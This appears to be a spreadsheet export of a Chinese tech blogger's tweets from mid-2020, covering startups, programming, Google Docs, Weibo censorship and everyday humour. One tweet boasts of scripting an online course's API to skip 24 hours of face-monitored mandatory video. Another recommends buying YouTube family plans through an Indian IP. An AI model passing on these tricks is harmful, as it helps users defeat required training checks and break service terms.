14:47:16+00:00,560,122,22,,今天跟朋友聊起创业，我跟她说，在我眼里创业就三个目的，一个是挣大的钱，挣那种有格局的钱；一个是奔着自己的理想；还有一个是，跳出自己的圈子，扩大自己的交际圈，了解社会是怎么运作的。不然，过个三五年，你就会明白，如果你不是为上面这三件事忙活儿，这几年你过得真的就跟牲口一样了……,,https://twitter.com/haoel/status/1281238495336427520\n4007,1280814106522423296,2020-07-08 10:40:54+00:00,5,0,1,,@tinyfool 可以，我还可以提供按揭,,https://twitter.com/haoel/status/1280814106522423296\n4008,1280813392459001857,2020-07-08 10:38:03+00:00,3,0,1,,@tinyfool 付我3322元，周末随心聊……,,https://twitter.com/haoel/status/1280813392459001857\n4009,1280810882763653120,2020-07-08 10:28:05+00:00,150,7,31,,如果你想对一个技术掌握的很好的话，最有效的是方法是，你每问别人一个问题，就付给别人100－500元！用不了多久，你对这个技术掌握的会非常好了。这应该是学习中的最佳实践了……（欢迎大家来找我实践，二维码已附上🤪🥳） https://t.co/BtyBKBL4ak,,https://twitter.com/haoel/status/1280810882763653120\n4010,1280803090652737536,2020-07-08 09:57:07+00:00,30,0,1,,@ShanePricila 三男一女 + 摄影师，这个组合必然是…… https://t.co/qs5X7uyD7J,,https://twitter.com/haoel/status/1280803090652737536\n4011,1280693787115716608,2020-07-08 02:42:47+00:00,268,61,19,,有多少人在学习这个教程？ https://t.co/RELDidgfPa,,https://twitter.com/haoel/status/1280693787115716608\n4012,1280642291716120577,2020-07-07 23:18:10+00:00,1,0,0,,@shell909090 审问一下你老婆，一定是开源粉😜,,https://twitter.com/haoel/status/1280642291716120577\n4013,1280444215575539712,2020-07-07 10:11:05+00:00,2,0,0,,@PenngXiao 是的，参看原文第1条和第2条,,https://twitter.com/haoel/status/1280444215575539712\n4014,1280399750643068928,2020-07-07 07:14:23+00:00,1,0,0,,@CyshallChan 肯定是不会影响到他人的，而且成为韮菜供给，会让其他们活得更好的。,,https://twitter.com/haoel/status/1280399750643068928\n4015,1280364949127041024,2020-07-07 04:56:06+00:00,281,67,16,,\"大多数人都有几种不教就会的能力——\n1）找到证据，证明是环境不好，出身不好……\n2）说服自己，那个事没意思，不好，糟糕……\n3）做白日梦，幻想彩票中大奖，股市大涨，上天掉饼……\n\n拥有这样能力的人，无论发生什么，也无论经历什么，他们都会坚持并长期不懈的使用并强化这几种能力……\",,https://twitter.com/haoel/status/1280364949127041024\n4016,1279733706215702529,2020-07-05 11:07:46+00:00,0,0,0,,@PercyLixc 笔误,,https://twitter.com/haoel/status/1279733706215702529\n4017,1279687952637911040,2020-07-05 08:05:58+00:00,0,0,2,,@a510431599 你想表达什么？,,https://twitter.com/haoel/status/1279687952637911040\n4018,1279651313089785856,2020-07-05 05:40:22+00:00,141,22,5,,《计时攻击 Time Attacks》本文来自读者“程序猿石头”的投稿文章《这 10 行比较字符串相等的代码给我整懵了，不信你也来看看》，原文写的很好，但我觉得信息密度还可以再高一些，所对原文进行大量的删减修改，让这篇文章中的知识更系统一些。并把标题也改成了《计时攻击》。https://t.co/KP3Fw8lTrO,\"[TextLink(text='coolshell.cn/articles/21003…', url='https://coolshell.cn/articles/21003.html', tcourl='https://t.co/KP3Fw8lTrO', indices=(136, 159))]\",https://twitter.com/haoel/status/1279651313089785856\n4019,1279613155929288704,2020-07-05 03:08:45+00:00,1,0,0,,@ilife_chauncy @kevinzhow 不用印度IP也给你推印度的歌啊,,https://twitter.com/haoel/status/1279613155929288704\n4020,1279612205038592001,2020-07-05 03:04:58+00:00,155,16,32,,找个印度IP，花人民币不到200元买个家庭计划，再找五个人分担。每个人每年不到¥40。@kevinzhow就是这么带我这么薅了的YouTube会员的。用了几个月，发现很值了…… 唯一伤感的事就是再也看不到YouTube广告了…… 而且YouTube Music都是印度歌，虽说印度歌很好听，但听多了也受不了…… https://t.co/d26cry8OvE,,https://twitter.com/haoel/status/1279612205038592001\n4021,1279606220651814914,2020-07-05 02:41:11+00:00,59,17,20,,这条推下的评论令人叹为观止，小粉红以为香港都是租借的……,,https://twitter.com/haoel/status/1279606220651814914\n4022,1279283777517219842,2020-07-04 05:19:55+00:00,3,0,1,,@shadowglenelf @XuT001 除非你不走HTTP请求。另外，退而求其次，我把整个浏览器都包起来做自动化。但是，你想想你的开发成本吧，就是为了防止别人这点作弊吗？如果是，为什么不用考试的手段呢？（很多业务上的问题最好还是用业务来解决的，不要太技术了）,,https://twitter.com/haoel/status/1279283777517219842\n4023,1279281545795104770,2020-07-04 05:11:03+00:00,0,0,1,,@shadowglenelf @XuT001 那还不是程序，又不是我（另外，你那个加密时间有个毛意义）,,https://twitter.com/haoel/status/1279281545795104770\n4024,1279280298484613120,2020-07-04 05:06:05+00:00,1,0,1,,@shadowglenelf @XuT001 我觉的你这个方案也不行，呵呵,,https://twitter.com/haoel/status/1279280298484613120\n4025,1279256201151168513,2020-07-04 03:30:20+00:00,27,10,0,,@C6NMyrt 以后要多读我的blog https://t.co/pb3aPLVDqA,\"[TextLink(text='coolshell.cn/articles/17634…', url='https://coolshell.cn/articles/17634.html', tcourl='https://t.co/pb3aPLVDqA', indices=(21, 44))]\",https://twitter.com/haoel/status/1279256201151168513\n4026,1279075745810092038,2020-07-03 15:33:16+00:00,1,0,0,,@VincentMucid 找到关键API,,https://twitter.com/haoel/status/1279075745810092038\n4027,1279074379465281536,2020-07-03 15:27:50+00:00,568,103,35,,因为某原因要走过场的网课才能获得资格。网课比较无聊，但还要人脸识别，而且还全程摄像头监控，如果你在看的过程当中走神了，就暂停了，而且整个过程不能快进，所有的视频时长24+小时。花了15分钟读了一下前端的js源码，找到关键API，再花5分钟写了个脚本，5秒“看完视频”#程序员何必为难程序员 https://t.co/KE7ycPYEhM,,https://twitter.com/haoel/status/1279074379465281536\n4028,1279070641501560833,2020-07-03 15:12:59+00:00,63,3,6,,没意义怎么快乐？不快乐还有意义吗？,,https://twitter.com/haoel/status/1279070641501560833\n4029,1277803040133660672,2020-06-30 03:15:59+00:00,375,84,3,,昨晚团队内部分享提到了金融业务，然后顺着说到了单式记账和复式记账，这里有篇英文的文章讲的很好，有兴趣的同学中以前往一读。https://t.co/I77dv8fuGz （p.s. 未来我会把我们的团队内的技术分享公开出来，邀请外部人员参加）,\"[TextLink(text='mathstat.dal.ca/~selinger/acco…', url='https://www.mathstat.dal.ca/~selinger/accounting/tutorial.html', tcourl='https://t.co/I77dv8fuGz', indices=(60, 83))]\",https://twitter.com/haoel/status/1277803040133660672\n4030,1277216430866305024,2020-06-28 12:25:01+00:00,1,0,1,,@MorningHe 是的，错过了,,https://twitter.com/haoel/status/1277216430866305024\n4031,1277214137626419201,2020-06-28 12:15:54+00:00,64,7,11,,这两天都在说剪贴板的用户隐私问题，我突然想到了，我那么钟爱的苹果的通用剪贴板，一个设备上的一次复制，所有的设备都知道了……👽💀☠️👻,,https://twitter.com/haoel/status/1277214137626419201\n4032,1276882976278589441,2020-06-27 14:19:59+00:00,27,6,7,,还在，没清空,,https://twitter.com/haoel/status/1276882976278589441\n4033,1276786574315802630,2020-06-27 07:56:55+00:00,181,21,16,,今天晚上8点，我会在极客时间做一个直播讲讲程序员练级攻略的事，也讲讲我现创业做的关于分布式微服务架构中的关键的技术。学习技术不是靠一些散装的知识进行拼装，同样做微服务架构，也不是靠零件进行拼装，技术知识和系统架构，都是需要非常系统的组织和装配的，否则就成“野路子”和“山寨”的了……,,https://twitter.com/haoel/status/1276786574315802630\n4034,1276481062068080640,2020-06-26 11:42:55+00:00,179,51,18,,高考被顶替这事，过去20多年不断的在发生……记得上一次是十多年前一个叫“罗彩霞”的人，被当地的公安局政委“全省人民满意的公仆”的孩子顶替了……当时引发了巨大的社会讨论……然而很多事情就是这样，多少年过去了，依然不会有什么改变……（ps，高考的腐败和暗箱操作太多了）,,https://twitter.com/haoel/status/1276481062068080640\n4035,1276128067694419968,2020-06-25 12:20:15+00:00,150,23,53,,好像又在争论五笔和拼音谁更好了。我打五笔的，见字我就能打出来，哪怕不会读的字，但是必须会写，理论上不会忘了字怎么写；打拼音必须都会读，但是不必会写，理论上打拼音的普通话说的都会挺好；然而，五笔打打多了，全部变成肌肉记忆，其实字还是不会写了，而且因为不打拼音，发音也不标准了……😫😭,,https://twitter.com/haoel/status/1276128067694419968\n4036,1276086643695345665,2020-06-25 09:35:39+00:00,14,0,1,,@laixintao 这种胜率，应该赌大一点啊一一两箱粽子,,https://twitter.com/haoel/status/1276086643695345665\n4037,1276085924154097664,2020-06-25 09:32:47+00:00,8,0,4,,@tinyfool 虽然我也是陈皓，但我做不到啊,,https://twitter.com/haoel/status/1276085924154097664\n4038,1275937343552106496,2020-06-24 23:42:23+00:00,8,0,13,,@Fenng 哦，那我试一下,,https://twitter.com/haoel/status/1275937343552106496\n4039,1275664987231567877,2020-06-24 05:40:08+00:00,0,0,0,,@ximen_baoyu 你要是直接去一定会打回来。说你没预约。,,https://twitter.com/haoel/status/1275664987231567877\n4040,1275664617436479488,2020-06-24 05:38:40+00:00,0,0,0,,@siuying 嗯。这种东西肯定是跟隐私有关系。,,https://twitter.com/haoel/status/1275664617436479488\n4041,1275662786169901056,2020-06-24 05:31:23+00:00,0,0,0,,@ximen_baoyu 买完以后再预约啊……,,https://twitter.com/haoel/status/1275662786169901056\n4042,1275662331389906949,2020-06-24 05:29:35+00:00,103,36,8,,\"UK政府花了1180万英镑，想开发一个追踪新冠病毒的App，结果失败了，这里是他们的源代码 https://t.co/ORcW1OTbfp\n\n下面是其他国家的与COVID相关的软件源代码\n\n- 意大利：https://t.co/NawkFUpUK3\n- 德国：https://t.co/YqRVANZuHJ\n- 加拿大：https://t.co/l2Ce2jUpRK\",\"[TextLink(text='github.com/nhsx/', url='https://github.com/nhsx/', tcourl='https://t.co/ORcW1OTbfp', indices=(46, 69)), TextLink(text='github.com/immuni-app', url='https://github.com/immuni-app', tcourl='https://t.co/NawkFUpUK3', indices=(101, 124)), TextLink(text='github.com/corona-warn-app', url='https://github.com/corona-warn-app', tcourl='https://t.co/YqRVANZuHJ', indices=(130, 153)), TextLink(text='github.com/CovidShield/', url='https://github.com/CovidShield/', tcourl='https://t.co/l2Ce2jUpRK', indices=(160, 183))]\",https://twitter.com/haoel/status/1275662331389906949\n4043,1275657618120421376,2020-06-24 05:10:51+00:00,20,1,15,,北京的核酸检测预约最近的也要约到两周以后了……,,https://twitter.com/haoel/status/1275657618120421376\n4044,1275619289693712385,2020-06-24 02:38:33+00:00,0,0,2,,@leohxj 双拼不是拼音？好吧，超出我的认知理解了,,https://twitter.com/haoel/status/1275619289693712385\n4045,1275611396001030144,2020-06-24 02:07:11+00:00,6,0,45,,你使用的中文输入法,,https://twitter.com/haoel/status/1275611396001030144\n4046,1275557368009379840,2020-06-23 22:32:29+00:00,14,0,3,,@gexiao2b 说的好像大厂做的东西有人用似的,,https://twitter.com/haoel/status/1275557368009379840\n4047,1275348274593976322,2020-06-23 08:41:38+00:00,271,29,50,,有个程序员网友找我谈心，说受不了做乙方的日子了，想去大厂去，我跟他说，你觉得你去大厂里做程序员就不是做“乙方”吗？你控制得住需求和计划吗？需求方会关心你的想法么？不要以为形式上不同就不同了，其实本质上都是一样的……（不知道为什么，我最近老扎别人的心，我还有救么）,,https://twitter.com/haoel/status/1275348274593976322\n4048,1274617908711182336,2020-06-21 08:19:25+00:00,158,14,10,,为了看日环食，大家都把自己的X光照片都拿出来了…… https://t.co/6SXrWZ994E,,https://twitter.com/haoel/status/1274617908711182336\n4049,1274587556143788033,2020-06-21 06:18:48+00:00,977,388,28,,史诗大片……（源自：https://t.co/Zq6acFoILw） https://t.co/w8xiZiaQSK,\"[TextLink(text='reddit.com/r/funny/commen…', url='https://www.reddit.com/r/funny/comments/hcpvk1/chrome_keeps_abusing_my_ram/', tcourl='https://t.co/Zq6acFoILw', indices=(10, 33))]\",https://twitter.com/haoel/status/1274587556143788033\n4050,1274312017961074691,2020-06-20 12:03:55+00:00,9,0,2,,@sinoon1218 通州运河森林公园（北岸）,,https://twitter.com/haoel/status/1274312017961074691\n4051,1274311516683001856,2020-06-20 12:01:55+00:00,194,13,45,,下午去公园，上了个超豪华厕所，有个大堂，大堂有沙发和茶几供人休息，还配有空调，凉爽的很，装修的也很舒适，卫生也很干净，还有空气清新专置，无论是马桶、蹲坑还是洗手池，都很高档，堪比五星级酒店，人生第一次在这么平民的公园里享受了这么高级的公厕，喜出望外！直到大号完事后发现没有手纸……,,https://twitter.com/haoel/status/1274311516683001856\n4052,1274009097583484928,2020-06-19 16:00:13+00:00,6,0,1,,@SonamNerd 你这话说的好像屏蔽评论的技术原因多过政治原因似的……,,https://twitter.com/haoel/status/1274009097583484928\n4053,1274008715012653056,2020-06-19 15:58:42+00:00,347,73,32,,图中就是为什么我越来越不想上微博的原因…… https://t.co/b3t4kDMXZk,,https://twitter.com/haoel/status/1274008715012653056\n4054,1274006083867049984,2020-06-19 15:48:14+00:00,18,1,6,,发现又能看见了……,,https://twitter.com/haoel/status/1274006083867049984\n4055,1273926877153878017,2020-06-19 10:33:30+00:00,879,272,111,,100万+的评论已完全被隐藏…… https://t.co/QfIkFTqxpG,,https://twitter.com/haoel/status/1273926877153878017\n4056,1273276601094946818,2020-06-17 15:29:32+00:00,150,49,8,,\"混杂部分真相的说谎比直接说谎更有效\n\n宣传的基本原则就是不断重复有效论点\n\n宣传对象是普通老百姓，故而宣传的论点须粗犷、清晰和有力\n\n真理是无关紧要的，完全服从于策略的心理\n\n必须把收音机设计得只能收听德国电台报纸的任务就是把统治者的意志传递给被统治者。\n\n 一一约瑟夫·戈培尔\",,https://twitter.com/haoel/status/1273276601094946818\n4057,1273247684720078848,2020-06-17 13:34:38+00:00,1,0,0,,@gongzuo365 我感觉是！,,https://twitter.com/haoel/status/1273247684720078848\n4058,1273223916488519681,2020-06-17 12:00:11+00:00,431,20,93,,在楼下跟孩子一起玩，旁边的阿姨（另一个孩子的姥姥）问我是不是孩子的爷爷……shit!,,https://twitter.com/haoel/status/1273223916488519681\n4059,1272482949540114432,2020-06-15 10:55:51+00:00,1136,219,59,,看了下缪可馨妈妈的微博，失去孩子的痛苦不说，上微博上讨个说法，也被删微博，被网警约谈……看着是真TMD想骂人……,,https://twitter.com/haoel/status/1272482949540114432\n4060,1272477507145494528,2020-06-15 10:34:13+00:00,163,8,20,,“正能量”这个词快变负能量了……,,https://twitter.com/haoel/status/1272477507145494528\n4061,1272011560978800640,2020-06-14 03:42:43+00:00,283,52,31,,只有真正的程序员才懂…… https://t.co/WOs6PhSdWZ,,https://twitter.com/haoel/status/1272011560978800640\n4062,1271998797887860737,2020-06-14 02:52:00+00:00,583,95,119,,这张图片是在某个时刻日照下的金字塔，看你要花多长时间才能看明白这图的视角…… https://t.co/E6vd41xMqD,,https://twitter.com/haoel/status/1271998797887860737\n4063,1271829503556202497,2020-06-13 15:39:17+00:00,42,1,5,,@songma 而且还都开了两会……,,https://twitter.com/haoel/status/1271829503556202497\n4064,1271729893038936064,2020-06-13 09:03:28+00:00,98,19,4,,插件：the great suspender https://t.co/ASQyB6DL1h,\"[TextLink(text='chrome.google.com/webstore/detai…', url='https://chrome.google.com/webstore/detail/the-great-suspender/klbibkeccnjlkjkiokjodocebajanakg?hl=zh-CN', tcourl='https://t.co/ASQyB6DL1h', indices=(23, 46))]\",https://twitter.com/haoel/status/1271729893038936064\n4065,1271103246531100672,2020-06-11 15:33:24+00:00,901,186,23,,对于孩子的教育，尤其是习惯养成，非常重要。对于那些讲卫生爱劳动，礼仪社交……等这些习惯我倒要求的不是很多。而对于，学会做计划，有时间观念，自律，找最优解，举一反三，坚持……等这些可能连成年人都做不到的习惯，我会对孩子要求得更多。而我也必须以身作则，养个孩子真让我又重新成长一次……,,https://twitter.com/haoel/status/1271103246531100672\n4066,1270601429867065345,2020-06-10 06:19:22+00:00,63,12,2,,\"我来解读一下，应该是：\n微胖的女生 ==&gt; 胸大\n清纯的女生 ==&gt; 好骗\n简单的女生 ==&gt; 不花钱\n独立的女生 ==&gt; 吃软饭\",,https://twitter.com/haoel/status/1270601429867065345\n4067,1270569318820921344,2020-06-10 04:11:46+00:00,0,0,0,,@kevinwei99 支付宝的信用卡,,https://twitter.com/haoel/status/1270569318820921344\n4068,1270546024944168960,2020-06-10 02:39:12+00:00,14,2,26,,做个小调查，关于信用卡和花呗（限中国大陆区网友）,,https://twitter.com/haoel/status/1270546024944168960\n4069,1270372690738556928,2020-06-09 15:10:26+00:00,64,3,5,,\"@draven0xff 要是我的话，我可能会这么写：\n\n为什么数据库不应用外键？因为要拆微服务架构！（全文完）\",,https://twitter.com/haoel/status/1270372690738556928\n4070,1270346530130522112,2020-06-09 13:26:29+00:00,1,0,0,,@_CloudHuang 谦谢你给我一个新的段子素材……,,https://twitter.com/haoel/status/1270346530130522112\n4071,1270265356750163968,2020-06-09 08:03:56+00:00,183,23,19,,从很多东西就可以看出西方人的种族歧视问题了，你看国际象棋，黑白对决，白棋先走，但你看我们中国的围棋，同样的是黑白对决，黑棋先走，而且还比白棋多一子…… 真正的 Black LIves Matters……,,https://twitter.com/haoel/status/1270265356750163968\n4072,1270197830297083904,2020-06-09 03:35:36+00:00,0,0,1,,\"@huang_java black sheep, black hat?\",,https://twitter.com/haoel/status/1270197830297083904\n4073,1270174699444531200,2020-06-09 02:03:41+00:00,149,35,34,,\"好些开源软件都把 \"\"blacklist\"\" 改成了 \"\"blocklist\"\" 或 \"\"denylist\"\"，我倒是很期待下面这些词 red-black tree,  black hole,  blackberry, 还有 black Friday...\",,https://twitter.com/haoel/status/1270174699444531200\n4074,1270144449478160384,2020-06-09 00:03:29+00:00,0,0,0,,@xuhoo2046 @luoleiorg @pacypcg 还有中国火……,,https://twitter.com/haoel/status/1270144449478160384\n4075,1270009122394476546,2020-06-08 15:05:45+00:00,148,19,16,,今天才知道有个老板在疫情期送员工iPhone后，被骂成条狗，说他不爱国，然后，陈赫在网上带货直播送iPhone也被批斗……搞得我这个不但长期用iPhone还让家人和员工用iPhone的人非常紧张不安……正当不知所措的时候，突然看到一句让我心絮缓解的话一一“越翻墙越爱国”！,,https://twitter.com/haoel/status/1270009122394476546\n4076,1269882566854602753,2020-06-08 06:42:51+00:00,0,0,1,,@tinyfool 刚看了一下，右键图片到google keep。然后keep就可以另存为。,,https://twitter.com/haoel/status/1269882566854602753\n4077,1269876754572664832,2020-06-08 06:19:46+00:00,9,0,2,,@tinyfool 我写blog时是用Google Docs，主要就是为了补充文章中的各种素材，引用和链接。然后会把整个文章导成Word，Word中的图片就好导出了。,,https://twitter.com/haoel/status/1269876754572664832\n4078,1269654593467604998,2020-06-07 15:36:58+00:00,2,0,2,,@z_linar @tinyfool 我是用了1.3倍速，音量加大了200%……嘿嘿,,https://twitter.com/haoel/status/1269654593467604998\n4079,1269652253083725824,2020-06-07 15:27:40+00:00,1,0,2,,@tinyfool 视频中，有没有感觉到把MacBook的蝶式键盘，敲出机械键盘的感觉？,,https://twitter.com/haoel/status/1269652253083725824\n4080,1269641509067821056,2020-06-07 14:44:59+00:00,0,0,0,,@justfor24492868 是的,,https://twitter.com/haoel/status/1269641509067821056\n4081,1269636714428919820,2020-06-07 14:25:56+00:00,0,0,0,,@WiwxgLisqw 这个？https://t.co/KXUkNGwBRL,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1238661552602902530', tcourl='https://t.co/KXUkNGwBRL', indices=(15, 38))]\",https://twitter.com/haoel/status/1269636714428919820\n4082,1269496090329444352,2020-06-07 05:07:08+00:00,3,0,0,,@fkysly 没事，我觉得我是给你提建议，希望你能够真正明白PS和美图秀秀到底有多大差距，如果不能认识这种差距，会足以影响你的判断力和认识，会把你自己封闭住。当然，应该是我表达不对，被你当成了指责，致歉！,,https://twitter.com/haoel/status/1269496090329444352\n4083,1269484005172236288,2020-06-07 04:19:07+00:00,4,0,1,,@cinphon 事情的起因是一个刚到语雀的前端工程师为了给语雀打广告，说Google Docs过时了，我简单吐槽了一下，然后就引发了其他人，用Photoshop和美图秀秀的对比……呵呵,,https://twitter.com/haoel/status/1269484005172236288\n4084,1269483007800270855,2020-06-07 04:15:09+00:00,2,0,1,,@fkysly 如果如果你总是这样想法的话，你永远无法做出伟大的产品。Photoshop可以名流青史，美图秀秀嘛……,,https://twitter.com/haoel/status/1269483007800270855\n4085,1269456101084299265,2020-06-07 02:28:14+00:00,1,1,0,,@kevinzhow 我们团队与墙内甲方交互是把Google Docs导成Word/Excel给甲方，一般来说，甲方对Word的修改和建议，简单地再把Word文档再导回Google Docs就好了,,https://twitter.com/haoel/status/1269456101084299265\n4086,1269445243478261760,2020-06-07 01:45:05+00:00,0,0,1,,@syan4826 然而，就是程序员说的,,https://twitter.com/haoel/status/1269445243478261760\n4087,1269298415088701440,2020-06-06 16:01:39+00:00,1,0,1,,@_kaichen @fswordlee 不只几十个，我之前开放的Google Technical Writing中文翻译，峰值是220人同时编绎纠错，我看那满屏的光标，和大量的修改建议实时地弹出，简直赞到不行……,,https://twitter.com/haoel/status/1269298415088701440\n4088,1269297368400199686,2020-06-06 15:57:29+00:00,5,0,4,,@kevinzhow 我觉的你也很长沒用Google Docs了吧。另外，它与notion是两个不同的产品。,,https://twitter.com/haoel/status/1269297368400199686\n4089,1269296779918340097,2020-06-06 15:55:09+00:00,0,0,0,,@zhaojinjiang 但是，大言不惭地说“过时”，我只能理解被墙太久了,,https://twitter.com/haoel/status/1269296779918340097\n4090,1269124743061356545,2020-06-06 04:31:32+00:00,1,0,1,,@wenxiaobin @laike9m 你说这些google docs不都有吗？有一堆一堆的插件，你想要什么就有什么。,,https://twitter.com/haoel/status/1269124743061356545\n4091,1269097491284103169,2020-06-06 02:43:15+00:00,0,0,1,,@cosmtrek 没有。这可能是输入法的问题吧,,https://twitter.com/haoel/status/1269097491284103169\n4092,1269091338177277952,2020-06-06 02:18:48+00:00,9,0,7,,@pingchn 只能说你们公司的人不做复杂的文档了,,https://twitter.com/haoel/status/1269091338177277952\n4093,1269090512289402880,2020-06-06 02:15:31+00:00,263,30,33,,昨晚，团队在一家小饭馆吃饭，边吃边聊技术，然后，一旁的饭馆老板看不下去了，过来教我们写代码……真是卧虎藏龙……（坐标：上海，中达广场，蔡阿嫲）#扫地僧 https://t.co/RYqCVF2ccL,,https://twitter.com/haoel/status/1269090512289402880\n4094,1269084086481502208,2020-06-06 01:49:59+00:00,729,110,103,,墙太久了，认识是会出现问题的，某些国内的做文档协作的前端人员都开始觉得Google Docs这种产品过时了，跟不上时代了，因为表现形式不够……呵呵。无论是富文本的表现形式、协作方式、还是功能方面。国内的那些什么石墨，语雀，腾讯，飞书……在Google Docs面前还有很长的路要走……,,https://twitter.com/haoel/status/1269084086481502208\n4095,1268769810227163137,2020-06-05 05:01:10+00:00,217,38,24,,这两天，我在思考一个终极问题：如果让钟美美模仿演唱《方舱医院真神奇》，那应归属正能量，还是负能量？ https://t.co/WOhgdeeKBK,,https://twitter.com/haoel/status/1268769810227163137\n4096,1267767145527574528,2020-06-02 10:36:56+00:00,317,53,16,,\"我曾经也因为SQL的where条件写错了，把整个表里的数据给全搞砸了。从事计算机编程这么多年，最痛的领悟不是要把基础知识搞扎实，也不是要开眼界，更不是要做有价值的事，而是要学会“备份”！\nhttps://t.co/bgMSTtwMhk\",\"[TextLink(text='youtube.com/watch?v=X6NJkW…', url='https://www.youtube.com/watch?v=X6NJkWbM1xk', tcourl='https://t.co/bgMSTtwMhk', indices=(94, 117))]\",https://twitter.com/haoel/status/1267767145527574528\n4097,1267020734921990145,2020-05-31 09:10:57+00:00,81,0,11,,https://t.co/WvnbP8Tmgt,,https://twitter.com/haoel/status/1267020734921990145\n4098,1266387370850410497,2020-05-29 15:14:12+00:00,80,24,2,,这个设计太优雅了……,,https://twitter.com/haoel/status/1266387370850410497\n4099,1266043448341090305,2020-05-28 16:27:34+00:00,105,31,1,,太萌了……,,https://twitter.com/haoel/status/1266043448341090305\n4100,1265874992161411073,2020-05-28 05:18:11+00:00,96,26,1,,\"字符串转整型的黑魔法（这都能通过位操作来完成）\nhttps://t.co/NtsT8QtzGh\",\"[TextLink(text='kholdstare.github.io/technical/2020…', url='https://kholdstare.github.io/technical/2020/05/26/faster-integer-parsing.html', tcourl='https://t.co/NtsT8QtzGh', indices=(24, 47))]\",https://twitter.com/haoel/status/1265874992161411073\n4101,1265869780449243136,2020-05-28 04:57:29+00:00,158,16,12,,我有个朋友在港澳台，天天跟身边的小粉红争论，还转他们争论的话题给我看，我真是烦了，骂了我这朋友，不要跟他们争论，你再怎么说，我们内地就是比你们港澳台好啊，你要说服这些身处港澳台的粉红们，早日放弃港台籍，回内地拿中国护照，放弃Google只用百度，最好再装上学习强国，用行动爱国，不香么？,,https://twitter.com/haoel/status/1265869780449243136\n4102,1265818351223238656,2020-05-28 01:33:07+00:00,664,133,31,,想起李文亮，到他的微博看看……结果被感动了……谁说互联网没记忆…… https://t.co/qnmWD9p4fd,,https://twitter.com/haoel/status/1265818351223238656\n4103,1264796381375418368,2020-05-25 05:52:10+00:00,0,0,1,,@shibwei 啊，原出处在哪？我是在群里看到的,,https://twitter.com/haoel/status/1264796381375418368\n4104,1264787679129899009,2020-05-25 05:17:35+00:00,4,0,1,,@nishuang 作弊行为怕不行,,https://twitter.com/haoel/status/1264787679129899009\n4105,1264785777898094592,2020-05-25 05:10:02+00:00,128,31,14,,我觉的我得给我司找一个印度CEO了…… https://t.co/pea2F3Uu7f,,https://twitter.com/haoel/status/1264785777898094592\n4106,1264292021914591233,2020-05-23 20:28:02+00:00,35,4,3,,@CaiXueYong https://t.co/d2N1RV8MGO,,https://twitter.com/haoel/status/1264292021914591233\n4107,1264289870265999360,2020-05-23 20:19:29+00:00,2,0,1,,@erjinxia 看成只手了……🤣,,https://twitter.com/haoel/status/1264289870265999360\n4108,1264164664885174272,2020-05-23 12:01:57+00:00,129,36,8,,\"微软的会写代码的AI的演示，看上去好厉害\nhttps://t.co/YzPyU18tEs\",\"[TextLink(text='youtube.com/watch?v=fZSFNU…', url='https://www.youtube.com/watch?v=fZSFNUT6iY8', tcourl='https://t.co/YzPyU18tEs', indices=(21, 44))]\",https://twitter.com/haoel/status/1264164664885174272\n4109,1263808485222842369,2020-05-22 12:26:37+00:00,0,0,0,,@nanxiaobei 🐂🐝,,https://twitter.com/haoel/status/1263808485222842369\n4110,1263643821524389888,2020-05-22 01:32:19+00:00,0,0,1,,@brightchen 正好截了个图 https://t.co/RpG7iF3CM0,,https://twitter.com/haoel/status/1263643821524389888\n4111,1263471562684063744,2020-05-21 14:07:49+00:00,258,50,48,,这都能被“限评论”…… https://t.co/4HLgQim6Y1,,https://twitter.com/haoel/status/1263471562684063744\n4112,1263424267686776832,2020-05-21 10:59:53+00:00,0,0,0,,@linuxyz 你读一下上下文的逻辑。,,https://twitter.com/haoel/status/1263424267686776832\n4113,1263378824873431040,2020-05-21 07:59:18+00:00,174,28,31,,北京，下午4点，天全黑了…… https://t.co/5mlkIRGwA6,,https://twitter.com/haoel/status/1263378824873431040\n4114,1263359580471345153,2020-05-21 06:42:50+00:00,14,0,2,,@aeooee 二十万亿行的数据？这不也是扯吗,,https://twitter.com/haoel/status/1263359580471345153\n4115,1263333140099002369,2020-05-21 04:57:46+00:00,3,0,3,,@xlight 一行一个Byte，还要加上换行符呢，至少有20TB的换行符，哈哈,,https://twitter.com/haoel/status/1263333140099002369\n4116,1263331172341264384,2020-05-21 04:49:57+00:00,0,0,1,,@RedDustGuest 20万代码行的数据库，更不可能。,,https://twitter.com/haoel/status/1263331172341264384\n4117,1263327605874323456,2020-05-21 04:35:47+00:00,121,18,34,,\"【中国数据库告别卡脖子之忧：OceanBase霸气卫冕，性能领先第二名11倍，二十万亿行代码100%自研】https://t.co/vQMStVopaI \n\nOceanBase挺好的，但是，这个“二十万亿行代码”是什么概念？（我估计，这个星球上所有的软件产品的代码行加起来可能都不够这个数）\",\"[TextLink(text='mp.weixin.qq.com/s/mpch19aI8wdm…', url='https://mp.weixin.qq.com/s/mpch19aI8wdmb9ZdO5b66w', tcourl='https://t.co/vQMStVopaI', indices=(53, 76))]\",https://twitter.com/haoel/status/1263327605874323456\n4118,1262602637830021122,2020-05-19 04:35:01+00:00,0,0,0,,@mfkhao2009 @youyuxi 那年还是13年,,https://twitter.com/haoel/status/1262602637830021122\n4119,1262554404802027520,2020-05-19 01:23:21+00:00,51,0,5,,@erjinxia 对不起，我看成一只脚踩在上面了……,,https://twitter.com/haoel/status/1262554404802027520\n4120,1262413540251430912,2020-05-18 16:03:37+00:00,0,0,0,,@yyzhao1978 @youyuxi 嗯！,,https://twitter.com/haoel/status/1262413540251430912\n4121,1262390952649543682,2020-05-18 14:33:51+00:00,116,1,2,,@TsunSunWah @youyuxi 险些让业内损失VUE😂,,https://twitter.com/haoel/status/1262390952649543682\n4122,1262387687560019969,2020-05-18 14:20:53+00:00,814,178,38,,2013年初，刚到某司，前端部门让我帮招人。于是我上微博出题（主要是考异步编程中尽可能的并发后还要顺序输出结果的控制）题目还在https://t.co/bcJxB5FUGX 。@youyuxi 解了题，那时他还是学生，还发现了我的程序问题。我向HR强烈推荐尤小右同学，结果说这种人不好用……现在想想，还好“不好用”…… https://t.co/Max5vpooIy,\"[TextLink(text='coolshell.cn/t.html', url='https://coolshell.cn/t.html', tcourl='https://t.co/bcJxB5FUGX', indices=(63, 86))]\",https://twitter.com/haoel/status/1262387687560019969\n4123,1262317934350745603,2020-05-18 09:43:42+00:00,142,40,15,,\"Kafka终于开始把ZooKeeper这个依赖干掉了! \nhttps://t.co/pZD8xJXhtn\n\n相关的进度\n https://t.co/Qwfa8V2Wor\",\"[TextLink(text='confluent.io/blog/removing-…', url='https://www.confluent.io/blog/removing-zookeeper-dependency-in-kafka/', 